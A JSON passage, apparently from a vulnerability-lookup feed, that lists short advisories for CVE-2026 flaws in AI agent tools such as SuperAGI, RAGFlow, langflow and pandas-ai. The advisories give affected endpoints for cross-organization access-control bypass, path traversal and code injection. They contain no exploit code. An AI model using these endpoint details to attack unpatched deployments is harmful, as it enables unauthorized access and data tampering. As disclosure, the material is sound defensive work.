Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:05:12.000000Z"}, {"uuid": "2497e5c5-0368-4345-a48d-7bc022e6c75f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51893", "type": "seen", "source": "https://gist.github.com/Ro1ME/79163b36f35460b266bc80120caf9da8", "content": "# CVE-2026-51893\n\n**Type:** Incorrect Access Control\n**Product:** RAGFlow\n**Affected versions:** 0.24.0\n**Affected component:** `api/apps/kb_app.py:trace_mindmap`\n**Reference:** http://infiniflow.com\n**Reference:** http://ragflow.com\n\n## Description\n\ninfiniflow ragflow 0.24.0 is vulnerable to Incorrect Access Control via trace_mindmap. An externally reachable path accepts a caller-selected object or tenant identifier and reaches a data-access operation without a visible owner, tenant, workspace, or membership binding on that object.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:05:09.000000Z"}, {"uuid": "8cde1191-a1e7-4228-b9e3-52f31db0c8bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51892", "type": "seen", "source": "https://gist.github.com/Ro1ME/00684720b33e37b2dd39856d6c226468", "content": "# CVE-2026-51892\n\n**Type:** Incorrect Access Control\n**Product:** RAGFlow\n**Affected versions:** 0.24.0\n**Affected component:** `api/apps/document_app.py:get`\n**Reference:** https://github.com/infiniflow/ragflow/issues/15267\n\n## Description\n\ninfiniflow ragflow 0.24.0 is vulnerable to Incorrect Access Control via /v1/document/get/.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:04:55.000000Z"}, {"uuid": "d3f8a074-99ce-4fd5-b745-2032b136868c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51888", "type": "seen", "source": "https://gist.github.com/Ro1ME/c85f513d1fd702c686cffe061cbf8ef5", "content": "# CVE-2026-51888\n\n**Type:** Directory Traversal\n**Product:** langflow\n**Affected versions:** \u22641.8.4\n**Affected component:** `src/backend/base/langflow/api/v1/knowledge_bases.py:create_knowledge_base`\n**Reference:** http://langflow-ai.com\n**Reference:** http://langflow.com\n\n## Description\n\nA weakness has been identified in langflow-ai langflow up to 1.8.4. langflow contains a relative path traversal vulnerability in knowledge_bases-create_knowledge_base-a-live-http-post-to-create-knowledge-base (src/backend/base/langflow/api/v1/knowledge_bases.py:51). An attacker can write or overwrite files outside the intended working directory by providing relative path traversal sequences (e.g., ../) in the knowledge base creation endpoint.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:04:52.000000Z"}, {"uuid": "49e5cfe4-c285-4197-885d-b982d5c185b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51907", "type": "seen", "source": "https://gist.github.com/Ro1ME/357950ddd2f65566b1b33525651b5635", "content": "# CVE-2026-51907\n\n**Type:** Path Traversal\n**Product:** TaskingAI\n**Affected versions:** v0.3.0\n**Affected component:** `plugin/app/service/image_storage.py:image_storage-save_base64_image-the-preserved-real-v1-execute-witness-uses-qr`\n**Reference:** https://github.com/TaskingAI/TaskingAI/issues/374\n\n## Description\n\nIn TaskingAI v0.3.0 in the QR Code Generator plugin save_base64_image function, a path traversal vulnerability allows attackers to write image files to arbitrary locations on the server filesystem by manipulating the project_id parameter.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:06:12.000000Z"}, {"uuid": "7ab8afb4-444e-410e-9a8c-81078bfec0cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51906", "type": "seen", "source": "https://gist.github.com/Ro1ME/3430171ed3a7e6c42864f45b59c203cf", "content": "# CVE-2026-51906\n\n**Type:** Incorrect Access Control\n**Product:** TaskingAI\n**Affected versions:** v0.3.0\n**Affected component:** `plugin/app/service/image_storage.py:image_storage-save_url_image-the-preserved-real-v1-execute-witness-uses-dalle`\n**Reference:** https://github.com/TaskingAI/TaskingAI/issues/375\n\n## Description\n\nIn TaskingAI v0.3.0 in the DALL-E 3 image generation tool save_url_image function, a path traversal vulnerability allows attackers to write downloaded images to arbitrary locations on the server filesystem by manipulating the project_id parameter.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:06:10.000000Z"}, {"uuid": "3bf0e4dd-6f0c-4b67-b9a1-574daa512c50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51905", "type": "seen", "source": "https://gist.github.com/Ro1ME/f803bb0db782428b212492c8157290db", "content": "# CVE-2026-51905\n\n**Type:** Incorrect Access Control\n**Product:** SuperAGI\n**Affected versions:** v0.0.14\n**Affected component:** `superagi/controllers/agent_execution_config.py:get_agent_execution_configuration`\n**Reference:** https://github.com/TransformerOptimus/SuperAGI/issues/1559\n\n## Description\n\nTransformerOptimus SuperAGI v0.0.14 is vulnerable to Incorrect Access Control in get_agent_execution_configuration in superagi/controllers/agent_execution_config.py. A remote authenticated attacker from one organization can read another organization's agent execution configuration by supplying the victim agent_id and agent_execution_id to /agent_executions_configs/details/agent_id/{agent_id}/agent_execution_id/{agent_execution_id}. The endpoint lacks an organization ownership check on the selected agent and execution.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:06:08.000000Z"}, {"uuid": "c71ce249-3c94-405b-8d63-a3c58dcd3d27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51904", "type": "seen", "source": "https://gist.github.com/Ro1ME/3f712e2a9f643a08c6c825d25fbfe0e0", "content": "# CVE-2026-51904\n\n**Type:** Incorrect Access Control\n**Product:** SuperAGI\n**Affected versions:** \u2264v0.0.14\n**Affected component:** `superagi/controllers/agent_execution.py:create_agent_execution\nsuperagi/controllers/agent_execution.py:create_agent_run`\n**Reference:** http://superagi.com\n**Reference:** http://transformeroptimus.com\n\n## Description\n\nSuperAGI up to v0.0.14 contains an improper access control vulnerability in the agent execution controller. In affected source snapshots, create_agent_execution and create_agent_run in superagi/controllers/agent_execution.py accept a caller-supplied agent_id and fail to verify that the referenced agent belongs to the authenticated user's organization. A remote authenticated attacker from one organization can create or start execution records for agents owned by another organization through /agentexecutions/add or /agentexecutions/add_run.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:06:06.000000Z"}, {"uuid": "4c5c2485-888c-4c6a-bad8-e5af5251c555", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51903", "type": "seen", "source": "https://gist.github.com/Ro1ME/d5e2ff57f9ed891bac0d401c0a7e9aae", "content": "# CVE-2026-51903\n\n**Type:** Incorrect Access Control\n**Product:** SuperAGI\n**Affected versions:** v0.0.14\n**Affected component:** `superagi/controllers/agent_execution.py:get_agent_by_latest_execution`\n**Reference:** https://github.com/TransformerOptimus/SuperAGI\n\n## Description\n\nSuperAGI v0.0.14 contains an improper access control vulnerability in get_agent_by_latest_execution in superagi/controllers/agent_execution.py. A remote authenticated attacker from one organization can retrieve latest execution and agent metadata for another organization's project through /agentexecutions/get/latest/agent/project/{project_id} by supplying a victim project_id.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:06:03.000000Z"}, {"uuid": "f31f336f-cb5b-4689-838b-2061c04f4952", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51902", "type": "seen", "source": "https://gist.github.com/Ro1ME/68d7dfa6ecc41caa9945a02dd31156ca", "content": "# CVE-2026-51902\n\n**Type:** Incorrect Access Control\n**Product:** SuperAGI\n**Affected versions:** \u2264v0.0.14\n**Affected component:** `superagi/controllers/agent.py:get_agents_by_project_id`\n**Reference:** https://github.com/TransformerOptimus/SuperAGI/issues/1558\n\n## Description\n\nSuperAGI up to v0.0.14 contains an improper access control vulnerability. The agent controller endpoint /api/agents/get/project/{project_id} allows authenticated users from one organization to retrieve the complete list of agents belonging to a different organization's project. The endpoint accepts a project_id parameter but does not verify that the project belongs to the authenticated user's organization.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:06:01.000000Z"}, {"uuid": "090b55a1-cca0-4abc-9a7b-4fae7430daf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51901", "type": "seen", "source": "https://gist.github.com/Ro1ME/12fc58befd7fa2693bac98a91a4debf9", "content": "# CVE-2026-51901\n\n**Type:** Incorrect Access Control\n**Product:** SuperAGI\n**Affected versions:** \u2264v0.0.14\n**Affected component:** `superagi/controllers/agent_execution.py:schedule_existing_agent`\n**Reference:** https://github.com/TransformerOptimus/SuperAGI/issues/1557\n\n## Description\n\nSuperAGI up to 0.0.14 is vulnerable to Incorrect Access Control. The agent execution controller endpoint /api/agentexecutions/schedule allows authenticated users from one organization to schedule existing agents belonging to a different organization without proper authorization checks. The endpoint accepts an agent_id parameter but does not verify that the agent belongs to the authenticated user's organization.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:05:59.000000Z"}, {"uuid": "d4f327fc-f39c-4680-be70-673316cacaae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51899", "type": "seen", "source": "https://gist.github.com/Ro1ME/c1e18e9c64c324db0bccfaa547eb2d05", "content": "# CVE-2026-51899\n\n**Type:** Incorrect Access Control\n**Product:** SuperAGI\n**Affected versions:** \u2264v0.0.14\n**Affected component:** `superagi/controllers/agent.py:create_agent_with_config\nsuperagi/controllers/agent.py:create_and_schedule_agent\nsuperagi/controllers/agent.py:edit_schedule`\n**Reference:** https://github.com/TransformerOptimus/SuperAGI/issues/1556\n\n## Description\n\nIn SuperAGI v0.0.14 and prior, controller endpoints (/api/agents/create, /api/agents/schedule, /api/agents/delete, /api/agents/edit_schedule, /api/agents/stop_schedule) allow authenticated users from one organization to create, schedule, edit, stop, and delete agents belonging to a different organization's project. The endpoints accept a project_id parameter but do not verify that the project belongs to the authenticated user's organization.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:05:56.000000Z"}, {"uuid": "b90d4633-da17-4c07-af3b-0a061ae2f661", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51898", "type": "seen", "source": "https://gist.github.com/Ro1ME/6cc410b487a2374fdd9e8749621f3135", "content": "# CVE-2026-51898\n\n**Type:** Code Injection\n**Product:** pandas-ai\n**Affected versions:** 3.0.0\n**Affected component:** `pandasai/core/code_execution/code_executor.py:CodeExecutor.execute`\n**Reference:** https://github.com/sinaptik-ai/pandas-ai/issues/1893\n\n## Description\n\nsinaptik-ai pandas-ai 3.0.0 is vulnerable to Code Injection in CodeExecutor.execute.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:05:25.000000Z"}, {"uuid": "d97c39ee-45c9-495e-b022-c76626745aac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51897", "type": "seen", "source": "https://gist.github.com/Ro1ME/7101a09720c120fd4989705aa7c0b894", "content": "# CVE-2026-51897\n\n**Type:** Incorrect Access Control\n**Product:** RAGFlow\n**Affected versions:** 0.24.0\n**Affected component:** `api/apps/evaluation_app.py:get_dataset`\n**Reference:** http://infiniflow.com\n**Reference:** http://ragflow.com\n\n## Description\n\nRAGFlow 0.24.0 contains improper access control in get_dataset (api/apps/evaluation_app). Depending on the exposed entry, an attacker can trigger attacker-controlled code or command execution\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:05:22.000000Z"}, {"uuid": "aedb986e-dad0-4569-8c6d-479bef7cb4e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51922", "type": "seen", "source": "https://gist.github.com/Ro1ME/78910899a99e2ba702d588e477d0755f", "content": "# CVE-2026-51922\n\n**Type:** Code Injection\n**Product:** AgentScope\n**Affected versions:** v1.0.20\n**Affected component:** `src/agentscope/tool/_coding/_shell.py:execute_shell_command`\n**Reference:** https://github.com/agentscope-ai/agentscope/issues/1645\n\n## Description\n\nagentscope v1.0.20 contains code injection in execute_shell_command (src/agentscope/tool/_coding/_shell.py). Depending on the exposed entry, an attacker can trigger attacker-controlled code or command execution.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:06:48.000000Z"}, {"uuid": "504a9e70-83ae-4df1-87f6-27110156f7e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51918", "type": "seen", "source": "https://gist.github.com/Ro1ME/8180c78c3852f747638e9cf04b51dda1", "content": "# CVE-2026-51918\n\n**Type:** Code Injection\n**Product:** FinRobot\n**Affected versions:** v1.0.0\n**Affected component:** `CodingUtils.create_file_with_code`\n**Reference:** https://github.com/AI4Finance-Foundation/FinRobot/issues/102\n\n## Description\n\nFinRobot 1.0.0 contains code injection in CodingUtils.create_file_with_code ().\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:06:45.000000Z"}, {"uuid": "fa7555b5-8095-4273-83bc-f5b2ded0e54b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51917", "type": "seen", "source": "https://gist.github.com/Ro1ME/282d3710f47d26399cbe93249aac3c09", "content": "# CVE-2026-51917\n\n**Type:** Code Injection\n**Product:** FinRobot\n**Affected versions:** v1.0.0\n**Affected component:** `CodingUtils.modify_code`\n**Reference:** https://github.com/AI4Finance-Foundation/FinRobot/issues/101\n\n## Description\n\nFinRobot v1.0.0 is vulnerable to Code Injection in CodingUtils.modify_code.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:06:42.000000Z"}, {"uuid": "72d92430-2bba-4456-af07-f461c28eb95f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51916", "type": "seen", "source": "https://gist.github.com/Ro1ME/b2e83acef8d5743023ffedd806bb7a08", "content": "# CVE-2026-51916\n\n**Type:** Incorrect Access Control\n**Product:** SuperAGI\n**Affected versions:** v0.0.14\n**Affected component:** `superagi/controllers/knowledges.py:delete_user_knowledge`\n**Reference:** http://superagi.com\n**Reference:** http://transformeroptimus.com\n\n## Description\n\nTransformerOptimus SuperAGI v0.0.14 contains an incorrect access control vulnerability in delete_user_knowledge in superagi/controllers/knowledges.py. In affected source snapshots, POST /knowledges/delete/{knowledge_id} deletes the selected knowledge object without requiring authentication in the route and without verifying organization ownership of the supplied knowledge_id.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:06:39.000000Z"}, {"uuid": "7e35d06d-3227-48ee-b472-e16ab0e2ce0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51915", "type": "seen", "source": "https://gist.github.com/Ro1ME/f4a6cd6a48b7b904bd7bc4c6d710942f", "content": "# CVE-2026-51915\n\n**Type:** Incorrect Access Control\n**Product:** SuperAGI\n**Affected versions:** v0.0.14\n**Affected component:** `superagi/controllers/tool.py:get_tool\nsuperagi/controllers/tool.py:update_tool`\n**Reference:** http://superagi.com\n**Reference:** http://transformeroptimus.com\n\n## Description\n\nTransformerOptimus SuperAGI v0.0.14 is vulnerable to Incorrect Access Control in the tool controller. In affected source snapshots, get_tool and update_tool in superagi/controllers/tool.py accept a caller-supplied tool_id and fail to verify organization ownership through the associated toolkit. A remote authenticated attacker from one organization can read or modify another organization's tool metadata through /tools/get/{tool_id} and /tools/update/{tool_id}.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:06:36.000000Z"}, {"uuid": "6bfa2a83-1cac-4154-af77-d17939a3749c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51914", "type": "seen", "source": "https://gist.github.com/Ro1ME/bb6fefd4b943400c92c08e0f0644a986", "content": "# CVE-2026-51914\n\n**Type:** Incorrect Access Control\n**Product:** SuperAGI\n**Affected versions:** v0.0.14\n**Affected component:** `superagi/controllers/agent_template.py:save_agent_as_template\nsuperagi/controllers/agent_template.py:publish_template`\n**Reference:** http://superagi.com\n**Reference:** http://transformeroptimus.com\n\n## Description\n\nTransformerOptimus SuperAGI v0.0.14 is vulnerable to Incorrect Access Control in the agent template controller. In affected source snapshots, save_agent_as_template and publish_template in superagi/controllers/agent_template.py accept caller-supplied agent_id or agent_execution_id values and do not verify that the referenced agent or execution belongs to the authenticated user's organization.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:06:33.000000Z"}, {"uuid": "0d399fc4-a1ac-4d4c-88a0-f2a8e647db8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51912", "type": "seen", "source": "https://gist.github.com/Ro1ME/9999d9e504c5238dc48a023ef7c51d01", "content": "# CVE-2026-51912\n\n**Type:** Directory Traversal\n**Product:** XAgent\n**Affected versions:** v1.0.0\n**Affected component:** `ToolServer/ToolServerNode/main.py:main-upload_file-the-preserved-live-upload-file-witness-directly-reaches`\n**Reference:** http://openbmb.com\n**Reference:** http://xagent.com\n**Reference:** https://github.com/OpenBMB/XAgent\n\n## Description\n\nOpenBMB XAgent v1.0.0 contains directory traversal vulnerability in main-upload_file-the-preserved-live-upload-file-witness-directly-reaches (ToolServer/ToolServerNode/main.py:46).\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:06:30.000000Z"}, {"uuid": "63b7c237-a6a0-44f0-9020-c23a6ea53dab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51911", "type": "seen", "source": "https://gist.github.com/Ro1ME/a259be3574844bc705316295b2406da0", "content": "# CVE-2026-51911\n\n**Type:** Code Injection\n**Product:** Vanna\n**Affected versions:** v2.0.2\n**Affected component:** `src/vanna/legacy/base/base.py:VannaBase.get_plotly_figure`\n**Reference:** http://vanna-ai.com\n**Reference:** http://vanna.com\n**Reference:** https://github.com/vanna-ai/vanna\n\n## Description\n\nvanna v2.0.2 contains a code injection vulnerability in VannaBase.get_plotly_figure (src/vanna/legacy/base/base.py). Depending on the exposed entry, an attacker can trigger attacker-controlled code or command execution.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:06:27.000000Z"}, {"uuid": "c91ce531-7b55-487f-936d-8fd81f279553", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5153", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-26)", "content": "", "creation_timestamp": "2026-09-26T00:00:00.000000Z"}]}